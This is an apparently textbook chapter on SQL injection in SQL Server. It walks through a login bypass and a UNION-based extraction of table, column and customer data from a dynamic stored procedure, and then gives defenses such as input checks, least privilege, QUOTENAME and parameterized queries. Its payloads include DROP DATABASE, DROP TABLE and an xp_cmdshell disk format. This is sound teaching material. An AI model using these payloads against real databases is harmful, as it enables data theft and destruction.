SQL Injection

One of the greatest security risks and causes of great damage to computerized systems is a hacking technique called SQL injection. By using SQL injection, hackers inject their own malicious code into statements you execute dynamically on your SQL Servers, often from accounts with elevated privileges. An attacker can launch a SQL injection attack when you construct code by concatenating strings. I’ll explain and demonstrate SQL injection techniques by presenting examples of both client-based attacks and server-based attacks. I’ll then explain what measures you can take to block some of the attacks. But bear in mind that sophisticated attackers have very innovative minds; if you construct code that concatenates strings based on user input or stored data or metadata, it’s almost impossible to block SQL Injection attacks altogether. In this section I’ll demonstrate a couple of examples for SQL Injection attacks and provide a few suggestions regarding protective measures that you can take. This section is by no means complete. As I mentioned earlier, you can find a lot of information about the subject on the Internet and in other resources, and I also pointed out an excellent article on the subject that appears in Books Online.

SQL Injection: Code Constructed Dynamically at Client

Suppose that you provide a login screen in your client Visual Basic application that is designed to collect a username and password in two input text boxes (call them InputUserName and InputPass). You construct a query that verifies this information against a Users table, which you have in your database to determine whether to allow or reject the login attempt. Run the code in Example 4-11 to create the Users table and populate it with two sample users.

Example 4-11. Creating and populating the Users table

USE tempdb;
GO

IF OBJECT_ID('dbo.Users') IS NOT NULL
  DROP TABLE Users;
GO

CREATE TABLE dbo.Users
(
  username VARCHAR(30) NOT NULL PRIMARY KEY,
  pass     VARCHAR(16) NOT NULL
);

INSERT INTO Users(username, pass) VALUES('user1', '123'),
INSERT INTO Users(username, pass) VALUES('user2', '456'),

Suppose that you’re using the following Visual Basic code at the client application to construct a query and verify the user credentials:

sql = "SELECT COUNT(*) AS cnt FROM dbo.Users WHERE username = '" _
  & InputUserName & "' AND pass = '" & InputPass & "';"

Suppose that user1 enters the following information in the input boxes:

InputUserName = "user1"
InputPass     = "123"

Your code constructs the following query, and executing it returns a count of 1:

SELECT COUNT(*) AS cnt FROM dbo.Users WHERE username = 'user1' AND pass = '123';

Your code checks whether the count is greater than 0. If it is, as is the case here, you allow the user to log in, and if it is 0, you reject the login attempt. A hacker versed in SQL injection will very likely try to enter the following inputs:

InputUserName = "' OR 1 = 1 --"
InputPass = ""

Your Visual Basic code then constructs the following query:

SELECT COUNT(*) AS cnt FROM dbo.Users WHERE username = '' OR 1 = 1 --' AND pass = '';

The trick here is that the hacker closed the quote you opened in front of the user name, added the expression 1=1, which will become part of the filter expression, and then added the two dashes (--) to make the rest of the original code, which is now invalid SQL, into a comment so that it won’t generate an error. This query will always return a count greater than 0, thereby allowing the hacker to log in without having the right credentials. Note that if you use a member of the sysadmin role or another privileged user to connect to SQL Server and invoke this query, a hacker will be able to create havoc and mayhem in your system. In addition to gaining the ability to log in, a hacker can inject additional code beyond the original query–for example, ″′ OR 1 = 1 DROP DATABASE <db_name> --″ or ″′ OR 1 = 1 EXEC master.dbo.xp_cmdshell ″format d:″ --″.

Note

Note

Note that in SQL Server 2005 xp_cmdshell is disabled by default for security reasons. If you enable it, bear in mind that you increase SQL Server’s attackable surface area.

SQL Injection: Code Constructed Dynamically at Server

This section will introduce an example for a SQL injection attack that exploits code constructed dynamically at the server. Consider the very common technique of passing SQL Server a dynamic list of arguments using a single input string with a comma-separated list of values. For example, the following stored procedure accepts such an input array with order IDs called @orders, and it returns the OrderID (integer) and CustomerID (character) for matching orders:

USE Northwind;
GO

IF OBJECT_ID('dbo.usp_getorders') IS NOT NULL
  DROP PROC dbo.usp_getorders;
GO

CREATE PROC dbo.usp_getorders
  @orders AS VARCHAR(1000)
AS

DECLARE @sql AS NVARCHAR(4000);

SET @sql = 'SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN('
  + @orders + '),';

EXEC sp_executesql @sql;
GO

The procedure constructs the query string dynamically, concatenating the input array of orders in the parentheses of the IN predicate. The user enters a string with a list of orders and gets back the OrderID and CustomerID of the input orders. For example, the following code returns the output shown in Table 4-9:

EXEC dbo.usp_getorders '10248,10249,10250';

Table 4-9. Customer Information

OrderID

CustomerID

10248

VINET

10249

TOMSP

10250

HANAR

A hacker will know how to communicate with SQL Server by testing various code strings to check whether you constructed the code dynamically. If the code wasn’t developed with security in mind, the application probably doesn’t hide error messages generated by SQL Server from the user. By default, such error messages will simply show up in the browser. Imagine that you’re the hacker. You will first test whether the code is constructed dynamically by specifying two dashes in the input box. Here is the stored procedure call that is submitted by the client to SQL Server:

EXEC dbo.usp_getorders ' --';

And here is the code that is executed by the stored procedure at the server:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN( --);

You get the following error message:

Msg 102, Level 15, State 1, Line 1
Incorrect syntax near '('.

The error tells you that there’s unclosed parentheses, meaning that there’s dynamic code that concatenates the input after an opening parenthesis. That’s actually what you (the hacker) wanted to see, and at this point you already know that the server is yours.

Next you want to examine the format of the output of the stored procedure, so you specify ′-1) --′ as the input. Here’s the code that is executed by the stored procedure:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1) --);

You get an empty set back:

OrderID     CustomerID
----------- ----------

but you can see that the output contains an integer column and a character one. Now you use a UNION ALL operator to return table information from the database instead of order information, as shown in the following code:

EXEC dbo.usp_getorders '-1) UNION ALL SELECT id, name FROM sysobjects --';

The stored procedure will execute the following code:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1)
UNION ALL SELECT id, name FROM sysobjects --);

It is important to look at this code to realize how easy it is for a hacker to obtain information from your database that you did not intend to expose. For example, running this code in the Northwind database produces the output (abbreviated) shown in Table 4-10.

Table 4-10. Table Information (Abbreviated)

OrderID

CustomerID

4

sysrowsetcolumns

5

sysrowsets

7

sysallocunits

...

...

21575115

Customers

...

...

Suppose that you’re interested in customer information. You have the object ID of the Customers table, so now you use UNION ALL to return column information by using the following code:

EXEC dbo.usp_getorders '-1) UNION ALL
SELECT colorder, name FROM syscolumns WHERE id = 21575115 --';

The following code is executed at the server, generating the output shown in Table 4-11:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1) UNION ALL
SELECT colorder, name FROM syscolumns WHERE id = 21575115 --);

Table 4-11. Column Information

OrderID

CustomerID

1

CustomerID

2

CompanyName

3

ContactName

4

ContactTitle

5

Address

6

City

7

Region

8

PostalCode

9

Country

10

Phone

11

Fax

Now that you have the full column list from the Customers table, you use the following code to request customer data by specifying a placeholder under the integer column and concatenate the customer attributes you need under the character column:

EXEC dbo.usp_getorders '-1) UNION ALL SELECT 1, CustomerID + '';'' +
CompanyName + '';'' + Phone FROM dbo.Customers --';

The following code is executed at the server, generating the output shown in Table 4-12:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1)
UNION ALL SELECT 1, CustomerID + ';' + CompanyName + ';' + Phone FROM dbo.Customers --);

Table 4-12. Column Information (Abbreviated)

OrderID

CustomerID

1

ALFKI;Alfreds Futterkiste;030-0074321

1

ANATR;Ana Trujillo Emparedados y helados;(5) 555-4729

1

ANTON;Antonio Moreno Taquería;(5) 555-3932

1

AROUT;Around the Horn;(171) 555-7788

1

BERGS;Berglunds snabbköp;0921-12 34 65

...

...

Imagine, you get customer IDs, company names, and phone numbers, and you could request more information!

Now the real "fun" begins as you inject changes and destructive commands–for example, suppose you supplied this parameter to the procedure: ′-1) UPDATE dbo.Customers SET Phone = ″9999999″ WHERE CustomerID = ″ALFKI″--′. The code that would run behind the scenes looks like this (don’t run it):

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID
IN(-1) UPDATE dbo.Customers SET Phone = '9999999' WHERE CustomerID = 'ALFKI' --);

To experiment and observe which code strings the stored procedure generates based on various inputs, use a version with a PRINT @sql command instead of EXEC sp_executesql @sql.

Protecting Against SQL Injection

Following are examples for measures you can take to provide some level of protection (though not complete) for your environment against SQL injection attacks:

  • In order to reduce the surface area for attack, do not enable functionality that is not needed like xp_cmdshell, the SQL Server Agent service, and so on.

  • Provide minimal permissions to the executing user. For example, in the login scenario I presented, there’s no reason to connect to the database using a powerful user. Create a user that has access only to the Users table and has no other permissions. This will prevent hackers from modifying data, but they might still be able to read it. In SQL Server 2005, you can impersonate users, so the new credentials will even apply to code invoked dynamically at the server. This opens a whole new window of opportunities for hackers. Dynamic SQL can now run under impersonated user credentials and not even require direct permissions from the user executing the stored procedure.

  • Inspect user input thoroughly and use stored procedures. For example, the input to the usp_getorders stored procedure should contain only digits and commas. If you inspect the input and find that it contains other characters, don’t run the code. Instead, send an alert to notify an administrator of a potential SQL injection attempt:

    IF @Orders LIKE '%[^0-9,]%'
    BEGIN
      -- Raise an error
      -- Send an alert
      RETURN;
    END

    If other characters are allowed, use pattern matching to check whether common SQL injection constructs–such as a single quote, two dashes, EXEC, sp_, xp_, UNION, and so on–exist in the input. Note though, that this technique is not bulletproof since there are so many possible attacks.

  • Limit the length of the inputs when possible. For example, a user name or password should not be hundreds or thousands of characters long. Such limitations are an effortless way to prevent many SQL injection attempts. Note though, that some hacking techniques rely on truncation of the inputs; for example, if you set a variable defined as NVARCHAR(128) with a value that is longer than 128 characters, SQL Server will truncate the input beyond the 128th character. Such techniques and ways to block them are described in the article I cited earlier from Books Online.

  • Use stored procedures. Stored procedures help by encapsulating input, type-checking it (good for integers and date inputs), allowing permissions settings, and so on.

  • Avoid using dynamic SQL when possible. Static code is safe, especially if your write it yourself giving attention to security issues. For example, I will discussed techniques to split an array of elements into multiple rows using a static query in Chapter 6. You can create a function that accepts an array and invokes a static query that splits it into elements, returning a table with the different elements in separate rows. You can then use this function, joining its result table with the data table to return the order attributes. Such an implementation will not only prevent SQL injection attacks, it will also reuse the same execution plan for multiple invocations of the code. The current implementation of the stored procedure will produce a different execution plan for each unique input. Imagine the performance effect of invoking such a stored procedure thousands of times a day. You can use thousands of plans or one plan. I will provide the static function implementation in Chapter 6. Also be careful with CLR routines, which could have dynamic SQL hidden in them.

  • When you need to quote inputs, don’t do it explicitly. Rather, use the QUOTENAME function for this purpose, or even safer, replace CHAR(39) with CHAR(39)+CHAR(39). QUOTENAME has some limitations which you can read about in the SQL Injection article in Books Online. The function will double each explicit quote that a hacker specifies, practically ensuring that the input will be treated as an input string argument and not as part of your code. To demonstrate this, I’ll use PRINT to return the code string that is generated. In practice, there will be an EXEC or sp_executesql invocation. The following code doesn’t use the QUOTENAME function to quote the input value:

    DECLARE @lastname AS NVARCHAR(40), @sql AS NVARCHAR(200);
    SET @lastname = N'Davolio';
    SET @sql = N'SELECT * FROM dbo.Employees WHERE LastName = '''
      + @lastname + ''';';
    PRINT @sql;

    With innocent input such as Davolio, this code produces the following query:

    SELECT * FROM dbo.Employees WHERE LastName = 'Davolio';

    But a hacker can easily inject code like so:

    DECLARE @lastname AS NVARCHAR(40), @sql AS NVARCHAR(200);
    SET @lastname = N''' DROP TABLE dbo.Employees --';
    SET @sql = N'SELECT * FROM dbo.Employees WHERE LastName = '''
      + @lastname + ''';';
    PRINT @sql;

    And that code injection will produce the following code:

    SELECT * FROM dbo.Employees WHERE LastName = '' DROP TABLE dbo.Employees --';

    Now use QUOTENAME instead of explicitly adding single quotes to the last name:

    DECLARE @lastname AS NVARCHAR(40), @sql AS NVARCHAR(200);
    SET @lastname = N''' DROP TABLE dbo.Employees --';
    SET @sql = N'SELECT * FROM dbo.Employees WHERE LastName = '
      + QUOTENAME(@lastname, '''') + ';';
    PRINT @sql;

    By doing this, you get the following harmless query:

    SELECT * FROM dbo.Employees WHERE LastName = ''' DROP TABLE dbo.Employees --';

    Here I tried to make a point regarding user input strings you concatenate to your code. Of course your code would be much safer if you do not concatenate the last name at all, rather use sp_executesql with an input parameter defined for last name:

    DECLARE @entered_lastname AS NVARCHAR(40), @sql AS NVARCHAR(200);
    -- user input
    SET @entered_lastname = N''' DROP TABLE dbo.Employees --';
    
    SET @sql = N'SELECT * FROM dbo.Employees WHERE LastName = @lastname;'
    
    EXEC sp_executesql
      @stmt = @sql,
      @params = N'@lastname AS NVARCHAR(40)',
      @lastname = @entered_lastname;

    Or even better, don’t use dynamic SQL at all in such cases, rather static SQL:

    DECLARE @lastname AS NVARCHAR(40);
    -- user input
    SET @lastname = N''' DROP TABLE dbo.Employees --';
    
    SELECT * FROM dbo.Employees WHERE LastName = @lastname;
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.139.83.96